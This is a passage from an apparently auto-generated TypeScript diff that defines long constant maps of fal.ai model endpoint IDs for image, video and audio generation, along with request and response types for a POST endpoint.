'resemble-ai/chatterboxhd/text-to-speech': + 'resemble-ai/chatterboxhd/text-to-speech', + 'rundiffusion-fal/juggernaut-flux/base': + 'rundiffusion-fal/juggernaut-flux/base', + 'rundiffusion-fal/juggernaut-flux/base/image-to-image': + 'rundiffusion-fal/juggernaut-flux/base/image-to-image', + 'rundiffusion-fal/juggernaut-flux/lightning': + 'rundiffusion-fal/juggernaut-flux/lightning', + 'rundiffusion-fal/juggernaut-flux/pro': + 'rundiffusion-fal/juggernaut-flux/pro', + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image': + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image', + 'rundiffusion-fal/rundiffusion-photo-flux': + 'rundiffusion-fal/rundiffusion-photo-flux', + 'smoretalk-ai/rembg-enhance': 'smoretalk-ai/rembg-enhance', + 'sonilo/v1.1/text-to-music': 'sonilo/v1.1/text-to-music', + 'sonilo/v1.1/text-to-sound-effects': 'sonilo/v1.1/text-to-sound-effects', + 'sonilo/v1.1/video-to-music': 'sonilo/v1.1/video-to-music', + 'sonilo/v1.1/video-to-sound-effects': 'sonilo/v1.1/video-to-sound-effects', + 'sonilo/v1.1/video-to-video-music': 'sonilo/v1.1/video-to-video-music', + 'sonilo/v1.1/video-to-video-sound-effects': + 'sonilo/v1.1/video-to-video-sound-effects', + 'tbc/mischief-1/image-to-video': 'tbc/mischief-1/image-to-video', + 'topaz/adjust/image': 'topaz/adjust/image', + 'topaz/deblur/video': 'topaz/deblur/video', + 'topaz/denoise/image': 'topaz/denoise/image', + 'topaz/denoise/video': 'topaz/denoise/video', + 'topaz/interpolate/video': 'topaz/interpolate/video', + 'topaz/restore/image': 'topaz/restore/image', + 'topaz/sdr-to-hdr/video': 'topaz/sdr-to-hdr/video', + 'topaz/sharpen/image': 'topaz/sharpen/image', + 'topaz/upscale/image/creative': 'topaz/upscale/image/creative', + 'topaz/upscale/image/generative': 'topaz/upscale/image/generative', + 'topaz/upscale/image/precision': 'topaz/upscale/image/precision', + 'topaz/upscale/image/transparent': 'topaz/upscale/image/transparent', + 'topaz/upscale/video/creative': 'topaz/upscale/video/creative', + 'topaz/upscale/video/generative': 'topaz/upscale/video/generative', + 'topaz/upscale/video/precision': 'topaz/upscale/video/precision', + 'vast/eden-live-14b-video': 'vast/eden-live-14b-video', + 'vast/eden-live-5b-video': 'vast/eden-live-5b-video', + 'veed/avatars/audio-to-video': 'veed/avatars/audio-to-video', + 'veed/avatars/text-to-video': 'veed/avatars/text-to-video', + 'veed/clean-audio': 'veed/clean-audio', + 'veed/dubbing': 'veed/dubbing', + 'veed/dubbing/pro': 'veed/dubbing/pro', + 'veed/fabric-1.0': 'veed/fabric-1.0', + 'veed/fabric-1.0/fast': 'veed/fabric-1.0/fast', + 'veed/fabric-1.0/text': 'veed/fabric-1.0/text', + 'veed/lipsync': 'veed/lipsync', + 'veed/lipsync/v2': 'veed/lipsync/v2', + 'veed/subtitles': 'veed/subtitles', + 'veed/video-background-removal': 'veed/video-background-removal', + 'veed/video-background-removal/fast': 'veed/video-background-removal/fast', + 'veed/video-background-removal/green-screen': + 'veed/video-background-removal/green-screen', + 'wan/v2.6/image-to-image': 'wan/v2.6/image-to-image', + 'wan/v2.6/image-to-video': 'wan/v2.6/image-to-video', + 'wan/v2.6/image-to-video/flash': 'wan/v2.6/image-to-video/flash', + 'wan/v2.6/reference-to-video': 'wan/v2.6/reference-to-video', + 'wan/v2.6/reference-to-video/flash': 'wan/v2.6/reference-to-video/flash', + 'wan/v2.6/text-to-image': 'wan/v2.6/text-to-image', + 'wan/v2.6/text-to-video': 'wan/v2.6/text-to-video', + 'xai/grok-imagine-image': 'xai/grok-imagine-image', + 'xai/grok-imagine-image/edit': 'xai/grok-imagine-image/edit', + 'xai/grok-imagine-image/quality/edit': 'xai/grok-imagine-image/quality/edit', + 'xai/grok-imagine-image/quality/text-to-image': + 'xai/grok-imagine-image/quality/text-to-image', + 'xai/grok-imagine-image/v2.0/edit': 'xai/grok-imagine-image/v2.0/edit', + 'xai/grok-imagine-image/v2.0/text-to-image': + 'xai/grok-imagine-image/v2.0/text-to-image', + 'xai/grok-imagine-video/edit-video': 'xai/grok-imagine-video/edit-video', + 'xai/grok-imagine-video/extend-video': 'xai/grok-imagine-video/extend-video', + 'xai/grok-imagine-video/image-to-video': + 'xai/grok-imagine-video/image-to-video', + 'xai/grok-imagine-video/reference-to-video': + 'xai/grok-imagine-video/reference-to-video', + 'xai/grok-imagine-video/text-to-video': + 'xai/grok-imagine-video/text-to-video', + 'xai/grok-imagine-video/v1.5/image-to-video': + 'xai/grok-imagine-video/v1.5/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/image-to-video': + 'xai/grok-imagine-video/v1.5/lite/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/text-to-video': + 'xai/grok-imagine-video/v1.5/lite/text-to-video', + 'xai/grok-imagine-video/v1.5/reference-to-video': + 'xai/grok-imagine-video/v1.5/reference-to-video', + 'xai/grok-imagine-video/v1.5/text-to-video': + 'xai/grok-imagine-video/v1.5/text-to-video', + 'xai/grok-voice': 'xai/grok-voice', + 'xai/grok-voice/realtime': 'xai/grok-voice/realtime', + 'xai/tts/v1': 'xai/tts/v1', +} as const + +export type FalPostEndpointIdEndpointIdKey = + (typeof falPostEndpointIdEndpointId)[keyof typeof falPostEndpointIdEndpointId] + +export type FalPostEndpointIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalPostEndpointIdEndpointIdKey +} + +export type FalPostEndpointIdStatus200 = unknown + +/** + * @description The model's own input schema: GET /v1/schemas/fal/{activity}/{endpoint_id}?kind=input. Pass ?activity= on this document to inline them. + * @type object + */ +export type FalPostEndpointIdBody = object + +export type FalPostEndpointIdOptions = { + body: FalPostEndpointIdBody + path: FalPostEndpointIdPath + query?: never + headers?: never +} + +export type FalPostEndpointIdResponses = { + '200': FalPostEndpointIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalPostEndpointIdResponse = FalPostEndpointIdStatus200 + +export const falGetEndpointIdRequestsRequestIdEndpointId = { + 'alibaba/happy-horse/image-to-video': 'alibaba/happy-horse/image-to-video', + 'alibaba/happy-horse/reference-to-video': + 'alibaba/happy-horse/reference-to-video', + 'alibaba/happy-horse/text-to-video': 'alibaba/happy-horse/text-to-video', + 'alibaba/happy-horse/v1.1/image-to-video': + 'alibaba/happy-horse/v1.1/image-to-video', + 'alibaba/happy-horse/v1.1/reference-to-video': + 'alibaba/happy-horse/v1.1/reference-to-video', + 'alibaba/happy-horse/v1.1/text-to-video': + 'alibaba/happy-horse/v1.1/text-to-video', + 'alibaba/happy-horse/video-edit': 'alibaba/happy-horse/video-edit', + 'alibaba/qwen-audio-3-tts': 'alibaba/qwen-audio-3-tts', + 'alibaba/qwen-image-3/edit': 'alibaba/qwen-image-3/edit', + 'alibaba/qwen-image-3/text-to-image': 'alibaba/qwen-image-3/text-to-image', + 'alibaba/wan-3.0-prime/image-to-video': + 'alibaba/wan-3.0-prime/image-to-video', + 'alibaba/wan-3.0-prime/reference-to-video': + 'alibaba/wan-3.0-prime/reference-to-video', + 'alibaba/wan-3.0-prime/text-to-video': 'alibaba/wan-3.0-prime/text-to-video', + 'alibaba/wan-3.0/image-to-video': 'alibaba/wan-3.0/image-to-video', + 'alibaba/wan-3.0/reference-to-video': 'alibaba/wan-3.0/reference-to-video', + 'alibaba/wan-3.0/text-to-video': 'alibaba/wan-3.0/text-to-video', + 'argil/avatars/audio-to-video': 'argil/avatars/audio-to-video', + 'argil/avatars/text-to-video': 'argil/avatars/text-to-video', + 'async/tts-pro/v1.0': 'async/tts-pro/v1.0', + 'blackforestlabs/flux-3-max/image-to-video': + 'blackforestlabs/flux-3-max/image-to-video', + 'blackforestlabs/flux-3-max/keyframes-to-video': + 'blackforestlabs/flux-3-max/keyframes-to-video', + 'blackforestlabs/flux-3-max/text-to-video': + 'blackforestlabs/flux-3-max/text-to-video', + 'blackforestlabs/flux-3/draft-enhance': + 'blackforestlabs/flux-3/draft-enhance', + 'blackforestlabs/flux-3/edit-image': 'blackforestlabs/flux-3/edit-image', + 'blackforestlabs/flux-3/edit-video': 'blackforestlabs/flux-3/edit-video', + 'blackforestlabs/flux-3/extend-video': 'blackforestlabs/flux-3/extend-video', + 'blackforestlabs/flux-3/extend-video/draft': + 'blackforestlabs/flux-3/extend-video/draft', + 'blackforestlabs/flux-3/first-last-frame-to-video': + 'blackforestlabs/flux-3/first-last-frame-to-video', + 'blackforestlabs/flux-3/first-last-frame-to-video/draft': + 'blackforestlabs/flux-3/first-last-frame-to-video/draft', + 'blackforestlabs/flux-3/image-to-video': + 'blackforestlabs/flux-3/image-to-video', + 'blackforestlabs/flux-3/image-to-video/draft': + 'blackforestlabs/flux-3/image-to-video/draft', + 'blackforestlabs/flux-3/keyframes-to-video': + 'blackforestlabs/flux-3/keyframes-to-video', + 'blackforestlabs/flux-3/keyframes-to-video/draft': + 'blackforestlabs/flux-3/keyframes-to-video/draft', + 'blackforestlabs/flux-3/klein/base/edit-image/lora': + 'blackforestlabs/flux-3/klein/base/edit-image/lora', + 'blackforestlabs/flux-3/klein/base/text-to-image/lora': + 'blackforestlabs/flux-3/klein/base/text-to-image/lora', + 'blackforestlabs/flux-3/klein/edit-image': + 'blackforestlabs/flux-3/klein/edit-image', + 'blackforestlabs/flux-3/klein/edit-image/lora': + 'blackforestlabs/flux-3/klein/edit-image/lora', + 'blackforestlabs/flux-3/klein/text-to-image': + 'blackforestlabs/flux-3/klein/text-to-image', + 'blackforestlabs/flux-3/klein/text-to-image/lora': + 'blackforestlabs/flux-3/klein/text-to-image/lora', + 'blackforestlabs/flux-3/text-to-image': + 'blackforestlabs/flux-3/text-to-image', + 'blackforestlabs/flux-3/text-to-video': + 'blackforestlabs/flux-3/text-to-video', + 'blackforestlabs/flux-3/text-to-video/draft': + 'blackforestlabs/flux-3/text-to-video/draft', + 'blackforestlabs/flux-video-upscale': 'blackforestlabs/flux-video-upscale', + 'bria/bria_video_eraser/erase/keypoints': + 'bria/bria_video_eraser/erase/keypoints', + 'bria/bria_video_eraser/erase/mask': 'bria/bria_video_eraser/erase/mask', + 'bria/bria_video_eraser/erase/prompt': 'bria/bria_video_eraser/erase/prompt', + 'bria/embed-product': 'bria/embed-product', + 'bria/extract-object': 'bria/extract-object', + 'bria/fibo-2/edit': 'bria/fibo-2/edit', + 'bria/fibo-2/generate': 'bria/fibo-2/generate', + 'bria/fibo-bbq-preview/generate': 'bria/fibo-bbq-preview/generate', + 'bria/fibo-edit-1.5/edit': 'bria/fibo-edit-1.5/edit', + 'bria/fibo-edit-1.5/expand': 'bria/fibo-edit-1.5/expand', + 'bria/fibo-edit-1.5/product-holding': 'bria/fibo-edit-1.5/product-holding', + 'bria/fibo-edit-1.5/virtual-try-on': 'bria/fibo-edit-1.5/virtual-try-on', + 'bria/fibo-edit/add_object_by_text': 'bria/fibo-edit/add_object_by_text', + 'bria/fibo-edit/blend': 'bria/fibo-edit/blend', + 'bria/fibo-edit/colorize': 'bria/fibo-edit/colorize', + 'bria/fibo-edit/edit': 'bria/fibo-edit/edit', + 'bria/fibo-edit/erase_by_text': 'bria/fibo-edit/erase_by_text', + 'bria/fibo-edit/relight': 'bria/fibo-edit/relight', + 'bria/fibo-edit/replace_object_by_text': + 'bria/fibo-edit/replace_object_by_text', + 'bria/fibo-edit/reseason': 'bria/fibo-edit/reseason', + 'bria/fibo-edit/restore': 'bria/fibo-edit/restore', + 'bria/fibo-edit/restyle': 'bria/fibo-edit/restyle', + 'bria/fibo-edit/rewrite_text': 'bria/fibo-edit/rewrite_text', + 'bria/fibo-edit/sketch_to_colored_image': + 'bria/fibo-edit/sketch_to_colored_image', + 'bria/fibo-gen-1.5/text-to-image': 'bria/fibo-gen-1.5/text-to-image', + 'bria/fibo-lite/generate': 'bria/fibo-lite/generate', + 'bria/fibo/generate': 'bria/fibo/generate', + 'bria/genfill/v2': 'bria/genfill/v2', + 'bria/guided-remove-background': 'bria/guided-remove-background', + 'bria/increase-resolution': 'bria/increase-resolution', + 'bria/product-dimensions': 'bria/product-dimensions', + 'bria/replace-background': 'bria/replace-background', + 'bria/upscale/creative': 'bria/upscale/creative', + 'bria/video/background-removal': 'bria/video/background-removal', + 'bria/video/background-removal/green-screen-despill': + 'bria/video/background-removal/green-screen-despill', + 'bria/video/background-removal/realtime': + 'bria/video/background-removal/realtime', + 'bria/video/background-removal/v3': 'bria/video/background-removal/v3', + 'bria/video/erase/keypoints': 'bria/video/erase/keypoints', + 'bria/video/erase/mask': 'bria/video/erase/mask', + 'bria/video/erase/prompt': 'bria/video/erase/prompt', + 'bria/video/increase-resolution': 'bria/video/increase-resolution', + 'bytedance/omnihuman/v2': 'bytedance/omnihuman/v2', + 'bytedance/seed-audio-1.0': 'bytedance/seed-audio-1.0', + 'bytedance/seedance-2.0/fast/image-to-video': + 'bytedance/seedance-2.0/fast/image-to-video', + 'bytedance/seedance-2.0/fast/reference-to-video': + 'bytedance/seedance-2.0/fast/reference-to-video', + 'bytedance/seedance-2.0/fast/text-to-video': + 'bytedance/seedance-2.0/fast/text-to-video', + 'bytedance/seedance-2.0/mini/image-to-video': + 'bytedance/seedance-2.0/mini/image-to-video', + 'bytedance/seedance-2.0/mini/reference-to-video': + 'bytedance/seedance-2.0/mini/reference-to-video', + 'bytedance/seedance-2.0/mini/text-to-video': + 'bytedance/seedance-2.0/mini/text-to-video', + 'bytedance/seedance-2.0/us/image-to-video': + 'bytedance/seedance-2.0/us/image-to-video', + 'bytedance/seedance-2.0/us/reference-to-video': + 'bytedance/seedance-2.0/us/reference-to-video', + 'bytedance/seedance-2.0/us/text-to-video': + 'bytedance/seedance-2.0/us/text-to-video', + 'bytedance/seedance-2.5/us/draft/complete': + 'bytedance/seedance-2.5/us/draft/complete', + 'bytedance/seedance-2.5/us/image-to-video': + 'bytedance/seedance-2.5/us/image-to-video', + 'bytedance/seedance-2.5/us/reference-to-video': + 'bytedance/seedance-2.5/us/reference-to-video', + 'bytedance/seedance-2.5/us/text-to-video': + 'bytedance/seedance-2.5/us/text-to-video', + 'bytedance/seedream/v5/flash/edit': 'bytedance/seedream/v5/flash/edit', + 'bytedance/seedream/v5/flash/layerize': + 'bytedance/seedream/v5/flash/layerize', + 'bytedance/seedream/v5/flash/text-to-image': + 'bytedance/seedream/v5/flash/text-to-image', + 'bytedance/seedream/v5/lite/edit': 'bytedance/seedream/v5/lite/edit', + 'bytedance/seedream/v5/lite/text-to-image': + 'bytedance/seedream/v5/lite/text-to-image', + 'bytedance/seedream/v5/pro/edit': 'bytedance/seedream/v5/pro/edit', + 'bytedance/seedream/v5/pro/layerize': 'bytedance/seedream/v5/pro/layerize', + 'bytedance/seedream/v5/pro/text-to-image': + 'bytedance/seedream/v5/pro/text-to-image', + 'cassetteai/music-generator': 'cassetteai/music-generator', + 'cassetteai/sound-effects-generator': 'cassetteai/sound-effects-generator', + 'cassetteai/video-sound-effects-generator': + 'cassetteai/video-sound-effects-generator', + 'clarityai/crystal-upscaler': 'clarityai/crystal-upscaler', + 'clarityai/crystal-video-upscaler': 'clarityai/crystal-video-upscaler', + 'creatify/boreal': 'creatify/boreal', + 'decart/lucy-2-5/realtime': 'decart/lucy-2-5/realtime', + 'decart/lucy-restyle': 'decart/lucy-restyle', + 'decart/lucy2-vton/realtime': 'decart/lucy2-vton/realtime', + 'elevenlabs/music/v2': 'elevenlabs/music/v2', + 'elevenlabs/music/v2.5': 'elevenlabs/music/v2.5', + 'elevenlabs/sound-effects/v3': 'elevenlabs/sound-effects/v3', + 'elevenlabs/tts/eleven-v4': 'elevenlabs/tts/eleven-v4', + 'elevenlabs/tts/eleven-v4-turbo': 'elevenlabs/tts/eleven-v4-turbo', + 'fal-ai/ace-step': 'fal-ai/ace-step', + 'fal-ai/ace-step/audio-inpaint': 'fal-ai/ace-step/audio-inpaint', + 'fal-ai/ace-step/audio-outpaint': 'fal-ai/ace-step/audio-outpaint', + 'fal-ai/ace-step/audio-to-audio': 'fal-ai/ace-step/audio-to-audio', + 'fal-ai/ace-step/prompt-to-audio': 'fal-ai/ace-step/prompt-to-audio', + 'fal-ai/ai-avatar/multi': 'fal-ai/ai-avatar/multi', + 'fal-ai/ai-avatar/multi-text': 'fal-ai/ai-avatar/multi-text', + 'fal-ai/ai-avatar/single-text': 'fal-ai/ai-avatar/single-text', + 'fal-ai/audio-understanding': 'fal-ai/audio-understanding', + 'fal-ai/aura-sr': 'fal-ai/aura-sr', + 'fal-ai/auto-caption': 'fal-ai/auto-caption', + 'fal-ai/bagel': 'fal-ai/bagel', + 'fal-ai/bagel/edit': 'fal-ai/bagel/edit', + 'fal-ai/ben/v2/image': 'fal-ai/ben/v2/image', + 'fal-ai/ben/v2/video': 'fal-ai/ben/v2/video', + 'fal-ai/birefnet': 'fal-ai/birefnet', + 'fal-ai/birefnet/v2': 'fal-ai/birefnet/v2', + 'fal-ai/birefnet/v2/video': 'fal-ai/birefnet/v2/video', + 'fal-ai/boogu-image': 'fal-ai/boogu-image', + 'fal-ai/boogu-image/edit': 'fal-ai/boogu-image/edit', + 'fal-ai/bria/background/remove': 'fal-ai/bria/background/remove', + 'fal-ai/bria/background/replace': 'fal-ai/bria/background/replace', + 'fal-ai/bria/eraser': 'fal-ai/bria/eraser', + 'fal-ai/bria/expand': 'fal-ai/bria/expand', + 'fal-ai/bria/genfill': 'fal-ai/bria/genfill', + 'fal-ai/bria/product-shot': 'fal-ai/bria/product-shot', + 'fal-ai/bria/reimagine': 'fal-ai/bria/reimagine', + 'fal-ai/bria/text-to-image/base': 'fal-ai/bria/text-to-image/base', + 'fal-ai/bria/text-to-image/fast': 'fal-ai/bria/text-to-image/fast', + 'fal-ai/bria/text-to-image/hd': 'fal-ai/bria/text-to-image/hd', + 'fal-ai/bytedance-upscaler/upscale/video': + 'fal-ai/bytedance-upscaler/upscale/video', + 'fal-ai/bytedance/dreamactor/v2': 'fal-ai/bytedance/dreamactor/v2', + 'fal-ai/bytedance/omnihuman': 'fal-ai/bytedance/omnihuman', + 'fal-ai/bytedance/omnihuman/v1.5': 'fal-ai/bytedance/omnihuman/v1.5', + 'fal-ai/bytedance/seed-speech/tts/v2': 'fal-ai/bytedance/seed-speech/tts/v2', + 'fal-ai/bytedance/seed/v2/mini': 'fal-ai/bytedance/seed/v2/mini', + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/text-to-video', + 'fal-ai/bytedance/seedream/v4.5/edit': 'fal-ai/bytedance/seedream/v4.5/edit', + 'fal-ai/bytedance/seedream/v4.5/text-to-image': + 'fal-ai/bytedance/seedream/v4.5/text-to-image', + 'fal-ai/bytedance/seedream/v4/edit': 'fal-ai/bytedance/seedream/v4/edit', + 'fal-ai/bytedance/seedream/v4/text-to-image': + 'fal-ai/bytedance/seedream/v4/text-to-image', + 'fal-ai/cat-vton': 'fal-ai/cat-vton', + 'fal-ai/chatterbox/speech-to-speech': 'fal-ai/chatterbox/speech-to-speech', + 'fal-ai/chatterbox/text-to-speech': 'fal-ai/chatterbox/text-to-speech', + 'fal-ai/chatterbox/text-to-speech/multilingual': + 'fal-ai/chatterbox/text-to-speech/multilingual', + 'fal-ai/clarity-upscaler': 'fal-ai/clarity-upscaler', + 'fal-ai/codeformer': 'fal-ai/codeformer', + 'fal-ai/cohere-transcribe': 'fal-ai/cohere-transcribe', + 'fal-ai/control-light': 'fal-ai/control-light', + 'fal-ai/creatify/aurora': 'fal-ai/creatify/aurora', + 'fal-ai/creative-upscaler': 'fal-ai/creative-upscaler', + 'fal-ai/csm-1b': 'fal-ai/csm-1b', + 'fal-ai/davinci-magihuman': 'fal-ai/davinci-magihuman', + 'fal-ai/ddcolor': 'fal-ai/ddcolor', + 'fal-ai/deepfilternet3': 'fal-ai/deepfilternet3', + 'fal-ai/demucs': 'fal-ai/demucs', + 'fal-ai/depth-anything-video': 'fal-ai/depth-anything-video', + 'fal-ai/dia-tts': 'fal-ai/dia-tts', + 'fal-ai/dia-tts/voice-clone': 'fal-ai/dia-tts/voice-clone', + 'fal-ai/dwpose': 'fal-ai/dwpose', + 'fal-ai/dwpose/video': 'fal-ai/dwpose/video', + 'fal-ai/echomimic-v3': 'fal-ai/echomimic-v3', + 'fal-ai/elevenlabs/audio-isolation': 'fal-ai/elevenlabs/audio-isolation', + 'fal-ai/elevenlabs/dubbing': 'fal-ai/elevenlabs/dubbing', + 'fal-ai/elevenlabs/forced-alignment': 'fal-ai/elevenlabs/forced-alignment', + 'fal-ai/elevenlabs/music': 'fal-ai/elevenlabs/music', + 'fal-ai/elevenlabs/sound-effects/v2': 'fal-ai/elevenlabs/sound-effects/v2', + 'fal-ai/elevenlabs/speech-to-text': 'fal-ai/elevenlabs/speech-to-text', + 'fal-ai/elevenlabs/speech-to-text/scribe-v2': + 'fal-ai/elevenlabs/speech-to-text/scribe-v2', + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3': + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3', + 'fal-ai/elevenlabs/tts/eleven-v3': 'fal-ai/elevenlabs/tts/eleven-v3', + 'fal-ai/elevenlabs/tts/multilingual-v2': + 'fal-ai/elevenlabs/tts/multilingual-v2', + 'fal-ai/elevenlabs/tts/turbo-v2.5': 'fal-ai/elevenlabs/tts/turbo-v2.5', + 'fal-ai/elevenlabs/voice-changer': 'fal-ai/elevenlabs/voice-changer', + 'fal-ai/emu-3.5-image/edit-image': 'fal-ai/emu-3.5-image/edit-image', + 'fal-ai/emu-3.5-image/text-to-image': 'fal-ai/emu-3.5-image/text-to-image', + 'fal-ai/ernie-image': 'fal-ai/ernie-image', + 'fal-ai/ernie-image/lora': 'fal-ai/ernie-image/lora', + 'fal-ai/ernie-image/lora/turbo': 'fal-ai/ernie-image/lora/turbo', + 'fal-ai/ernie-image/turbo': 'fal-ai/ernie-image/turbo', + 'fal-ai/esrgan': 'fal-ai/esrgan', + 'fal-ai/evf-sam': 'fal-ai/evf-sam', + 'fal-ai/f5-tts': 'fal-ai/f5-tts', + 'fal-ai/fashn/tryon/v1.5': 'fal-ai/fashn/tryon/v1.5', + 'fal-ai/fashn/tryon/v1.6': 'fal-ai/fashn/tryon/v1.6', + 'fal-ai/fast-lcm-diffusion': 'fal-ai/fast-lcm-diffusion', + 'fal-ai/fast-lcm-diffusion/image-to-image': + 'fal-ai/fast-lcm-diffusion/image-to-image', + 'fal-ai/fast-lcm-diffusion/inpainting': + 'fal-ai/fast-lcm-diffusion/inpainting', + 'fal-ai/fast-lightning-sdxl': 'fal-ai/fast-lightning-sdxl', + 'fal-ai/fast-lightning-sdxl/image-to-image': + 'fal-ai/fast-lightning-sdxl/image-to-image', + 'fal-ai/fast-lightning-sdxl/inpainting': + 'fal-ai/fast-lightning-sdxl/inpainting', + 'fal-ai/fast-sdxl': 'fal-ai/fast-sdxl', + 'fal-ai/fast-sdxl/image-to-image': 'fal-ai/fast-sdxl/image-to-image', + 'fal-ai/fast-sdxl/inpainting': 'fal-ai/fast-sdxl/inpainting', + 'fal-ai/feynobg': 'fal-ai/feynobg', + 'fal-ai/ffmpeg-api/compose': 'fal-ai/ffmpeg-api/compose', + 'fal-ai/ffmpeg-api/extract-frame': 'fal-ai/ffmpeg-api/extract-frame', + 'fal-ai/ffmpeg-api/images-to-video': 'fal-ai/ffmpeg-api/images-to-video', + 'fal-ai/ffmpeg-api/merge-audio-video': 'fal-ai/ffmpeg-api/merge-audio-video', + 'fal-ai/ffmpeg-api/merge-audios': 'fal-ai/ffmpeg-api/merge-audios', + 'fal-ai/ffmpeg-api/merge-videos': 'fal-ai/ffmpeg-api/merge-videos', + 'fal-ai/film': 'fal-ai/film', + 'fal-ai/film/video': 'fal-ai/film/video', + 'fal-ai/finegrain-eraser': 'fal-ai/finegrain-eraser', + 'fal-ai/finegrain-eraser/bbox': 'fal-ai/finegrain-eraser/bbox', + 'fal-ai/finegrain-eraser/mask': 'fal-ai/finegrain-eraser/mask', + 'fal-ai/firered-image-edit-v1.1': 'fal-ai/firered-image-edit-v1.1', + 'fal-ai/flashhead': 'fal-ai/flashhead', + 'fal-ai/florence-2-large/caption-to-phrase-grounding': + 'fal-ai/florence-2-large/caption-to-phrase-grounding', + 'fal-ai/florence-2-large/dense-region-caption': + 'fal-ai/florence-2-large/dense-region-caption', + 'fal-ai/florence-2-large/object-detection': + 'fal-ai/florence-2-large/object-detection', + 'fal-ai/florence-2-large/ocr-with-region': + 'fal-ai/florence-2-large/ocr-with-region', + 'fal-ai/florence-2-large/open-vocabulary-detection': + 'fal-ai/florence-2-large/open-vocabulary-detection', + 'fal-ai/florence-2-large/referring-expression-segmentation': + 'fal-ai/florence-2-large/referring-expression-segmentation', + 'fal-ai/florence-2-large/region-proposal': + 'fal-ai/florence-2-large/region-proposal', + 'fal-ai/florence-2-large/region-to-segmentation': + 'fal-ai/florence-2-large/region-to-segmentation', + 'fal-ai/flux-1/dev': 'fal-ai/flux-1/dev', + 'fal-ai/flux-1/dev/image-to-image': 'fal-ai/flux-1/dev/image-to-image', + 'fal-ai/flux-1/dev/redux': 'fal-ai/flux-1/dev/redux', + 'fal-ai/flux-1/krea': 'fal-ai/flux-1/krea', + 'fal-ai/flux-1/krea/image-to-image': 'fal-ai/flux-1/krea/image-to-image', + 'fal-ai/flux-1/krea/redux': 'fal-ai/flux-1/krea/redux', + 'fal-ai/flux-1/schnell': 'fal-ai/flux-1/schnell', + 'fal-ai/flux-1/schnell/redux': 'fal-ai/flux-1/schnell/redux', + 'fal-ai/flux-1/srpo': 'fal-ai/flux-1/srpo', + 'fal-ai/flux-1/srpo/image-to-image': 'fal-ai/flux-1/srpo/image-to-image', + 'fal-ai/flux-2': 'fal-ai/flux-2', + 'fal-ai/flux-2-flex': 'fal-ai/flux-2-flex', + 'fal-ai/flux-2-flex/edit': 'fal-ai/flux-2-flex/edit', + 'fal-ai/flux-2-lora-gallery/add-background': + 'fal-ai/flux-2-lora-gallery/add-background', + 'fal-ai/flux-2-lora-gallery/apartment-staging': + 'fal-ai/flux-2-lora-gallery/apartment-staging', + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch': + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch', + 'fal-ai/flux-2-lora-gallery/digital-comic-art': + 'fal-ai/flux-2-lora-gallery/digital-comic-art', + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait': + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait', + 'fal-ai/flux-2-lora-gallery/hdr-style': + 'fal-ai/flux-2-lora-gallery/hdr-style', + 'fal-ai/flux-2-lora-gallery/multiple-angles': + 'fal-ai/flux-2-lora-gallery/multiple-angles', + 'fal-ai/flux-2-lora-gallery/realism': 'fal-ai/flux-2-lora-gallery/realism', + 'fal-ai/flux-2-lora-gallery/satellite-view-style': + 'fal-ai/flux-2-lora-gallery/satellite-view-style', + 'fal-ai/flux-2-lora-gallery/sepia-vintage': + 'fal-ai/flux-2-lora-gallery/sepia-vintage', + 'fal-ai/flux-2-lora-gallery/virtual-tryon': + 'fal-ai/flux-2-lora-gallery/virtual-tryon', + 'fal-ai/flux-2-max': 'fal-ai/flux-2-max', + 'fal-ai/flux-2-max/edit': 'fal-ai/flux-2-max/edit', + 'fal-ai/flux-2-pro': 'fal-ai/flux-2-pro', + 'fal-ai/flux-2-pro/edit': 'fal-ai/flux-2-pro/edit', + 'fal-ai/flux-2-pro/outpaint': 'fal-ai/flux-2-pro/outpaint', + 'fal-ai/flux-2/edit': 'fal-ai/flux-2/edit', + 'fal-ai/flux-2/flash': 'fal-ai/flux-2/flash', + 'fal-ai/flux-2/flash/edit': 'fal-ai/flux-2/flash/edit', + 'fal-ai/flux-2/klein/4b': 'fal-ai/flux-2/klein/4b', + 'fal-ai/flux-2/klein/4b/base': 'fal-ai/flux-2/klein/4b/base', + 'fal-ai/flux-2/klein/4b/base/edit': 'fal-ai/flux-2/klein/4b/base/edit', + 'fal-ai/flux-2/klein/4b/base/edit/lora': + 'fal-ai/flux-2/klein/4b/base/edit/lora', + 'fal-ai/flux-2/klein/4b/base/lora': 'fal-ai/flux-2/klein/4b/base/lora', + 'fal-ai/flux-2/klein/4b/edit': 'fal-ai/flux-2/klein/4b/edit', + 'fal-ai/flux-2/klein/4b/edit/lora': 'fal-ai/flux-2/klein/4b/edit/lora', + 'fal-ai/flux-2/klein/4b/lora': 'fal-ai/flux-2/klein/4b/lora', + 'fal-ai/flux-2/klein/9b': 'fal-ai/flux-2/klein/9b', + 'fal-ai/flux-2/klein/9b/base': 'fal-ai/flux-2/klein/9b/base', + 'fal-ai/flux-2/klein/9b/base/edit': 'fal-ai/flux-2/klein/9b/base/edit', + 'fal-ai/flux-2/klein/9b/base/edit/lora': + 'fal-ai/flux-2/klein/9b/base/edit/lora', + 'fal-ai/flux-2/klein/9b/base/lora': 